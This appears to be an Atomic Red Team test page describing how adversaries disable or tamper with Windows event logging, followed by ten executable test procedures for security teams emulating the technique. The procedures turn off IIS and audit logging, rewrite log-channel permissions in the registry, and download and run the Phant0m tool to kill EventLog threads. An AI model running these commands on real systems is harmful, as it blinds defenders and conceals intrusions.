Adversaries may disable or modify the Windows Event Log to limit data that can be leveraged for detections and audits. Windows Event Log records user and system activity such as login attempts and process creation.(Citation: EventLog_Core_Technologies) This data is used by security tools and analysts to generate detections.
The EventLog service maintains event logs from various system components and applications. By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to
Security Settings\Local Policies\Audit Policyfor basic audit policy settings orSecurity Settings\Advanced Audit Policy Configurationfor advanced audit policy settings.(Citation: Microsoft Audit Policy)(Citation: Microsoft Adv Security Settings)auditpol.exemay also be used to set audit policies.(Citation: Microsoft auditpol)Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the
Set-Service -Name EventLog -Status Stoppedorsc config eventlog start=disabledcommands (followed by manually stopping the service usingStop-Service -Name EventLog). Additionally, the service may be disabled by modifying the "Start" value inHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLogthen restarting the system for the change to take effect.(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging)There are several ways to disable the EventLog service via registry key modification. Without Administrator privileges, adversaries may modify the "Start" value in the key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) With Administrator privilege, adversaries may modify the same values inHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-SystemandHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Applicationto disable the entire EventLog.Additionally, adversaries may use
auditpoland its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the/successor/failureparameters. For example,auditpol /set /category:"Account Logon" /success:disable /failure:disableturns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC) To clear the audit policy, adversaries may run the following lines:auditpol /clear /yorauditpol /remove /allusers.(Citation: T1562.002_redcanaryco)
- Atomic Test #1: Disable Windows IIS HTTP Logging
- Atomic Test #2: Disable Windows IIS HTTP Logging via PowerShell
- Atomic Test #3: Kill Event Log Service Threads
- Atomic Test #4: Impair Windows Audit Log Policy
- Atomic Test #5: Clear Windows Audit Policy Config
- Atomic Test #6: Disable Event Logging with wevtutil
- Atomic Test #7: Makes Eventlog blind with Phant0m
- Atomic Test #8: Modify Event Log Channel Access Permissions via Registry - PowerShell
- Atomic Test #9: Modify Event Log Channel Access Permissions via Registry 2 - PowerShell
- Atomic Test #10: Modify Event Log Access Permissions via Registry - PowerShell
Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked.
Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
Supported Platforms: Windows
auto_generated_guid: 69435dcf-c66f-4ec0-a8b1-82beb76b34db
| Name | Description | Type | Default Value |
|---|---|---|---|
| website_name | The name of the website on a server | string | Default Web Site |
C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:trueif(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked.
Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
Supported Platforms: Windows
auto_generated_guid: a957fb0f-1e85-49b2-a211-413366784b1e
| Name | Description | Type | Default Value |
|---|---|---|---|
| website_name | The name of the website on a server | string | Default Web Site |
set-WebConfigurationProperty -PSPath "IIS:\Sites\#{website_name}\" -filter "system.webServer/httpLogging" -name dontLog -value $trueif(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html
Supported Platforms: Windows
auto_generated_guid: 41ac52ba-5d5e-40c0-b267-573ed90489bd
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
$url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1"
$output = "$env:TEMP\Invoke-Phant0m.ps1"
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($url, $output)
cd $env:TEMP
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0mWrite-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red
Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction IgnoreDisables the windows audit policy to prevent key host based telemetry being written into the event logs. Solarigate example
Supported Platforms: Windows
auto_generated_guid: 5102a3a7-e2d7-4129-9e45-f483f2e0eea8
auditpol /set /category:"Account Logon" /success:disable /failure:disable
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
auditpol /set /category:"Detailed Tracking" /success:disableauditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enableClear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.
Supported Platforms: Windows
auto_generated_guid: 913c0e4e-4b37-4b78-ad0b-90e7b25010f6
auditpol /clear /y
auditpol /remove /allusersauditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enableWevtutil can be used to disable logs. NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.
Supported Platforms: Windows
auto_generated_guid: b26a3340-dad7-4360-9176-706269c74103
| Name | Description | Type | Default Value |
|---|---|---|---|
| log_name | Name of the log to be disabled | string | Microsoft-Windows-IKE/Operational |
wevtutil sl "#{log_name}" /e:falsewevtutil sl "#{log_name}" /e:trueUse Phant0m to disable Eventlog
Supported Platforms: Windows
auto_generated_guid: 3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_name | exe version of Phant0m | path | PathToAtomicsFolder\T1685.001\bin\Phant0m.exe |
"#{file_name}"echo "Sorry you have to reboot"if (Test-Path "#{file_name}") {exit 0} else {exit 1}New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1685.001/bin/Phant0m.exe" -OutFile "#{file_name}" -UseBasicParsingThis test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".
Supported Platforms: Windows
auto_generated_guid: 8e81d090-0cd6-4d46-863c-eec11311298f
| Name | Description | Type | Default Value |
|---|---|---|---|
| ChannelPath | Path to the event log service channel to alter | string | HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-TaskScheduler/Operational |
Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction IgnoreSet-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:BAG:SYD:(A;;0x2;;;S-1-15-2-1)(A;;0x2;;;S-1-15-3-1024-3153509613-960666767-3724611135-2725662640-12138253-543910227-1950414635-4190290187)(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x7;;;SO)(A;;0x3;;;IU)(A;;0x3;;;SU)(A;;0x3;;;S-1-5-3)(A;;0x3;;;S-1-5-33)(A;;0x1;;;S-1-5-32-573)"
Restart-Service -Name EventLog -Force -ErrorAction IgnoreThis test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".
Supported Platforms: Windows
auto_generated_guid: 85e6eff8-3ed4-4e03-ae50-aa6a404898a5
| Name | Description | Type | Default Value |
|---|---|---|---|
| ChannelPath | Path to the event log service channel to alter | string | HKLM:\SOFTWARE\Policies\Microsoft\Windows\EventLog\Setup |
New-Item -Path #{ChannelPath} -Force
Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction IgnoreRemove-Item -Path #{ChannelPath} -Force
Restart-Service -Name EventLog -Force -ErrorAction IgnoreThis test simulates an adversary modifying access permissions for a Windows Event Log channel by setting the "CustomSD" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".
Supported Platforms: Windows
auto_generated_guid: a0cb81f8-44d0-4ac4-a8f3-c5c7f43a12c1
| Name | Description | Type | Default Value |
|---|---|---|---|
| CustomSDPath | Path to the event log service channel to alter | string | HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\System |
Set-ItemProperty -Path #{CustomSDPath} -Name "CustomSD" -Value "O:SYG:SYD:(D;;0x1;;;WD)"Remove-ItemProperty -Path #{CustomSDPath} -Name "CustomSD"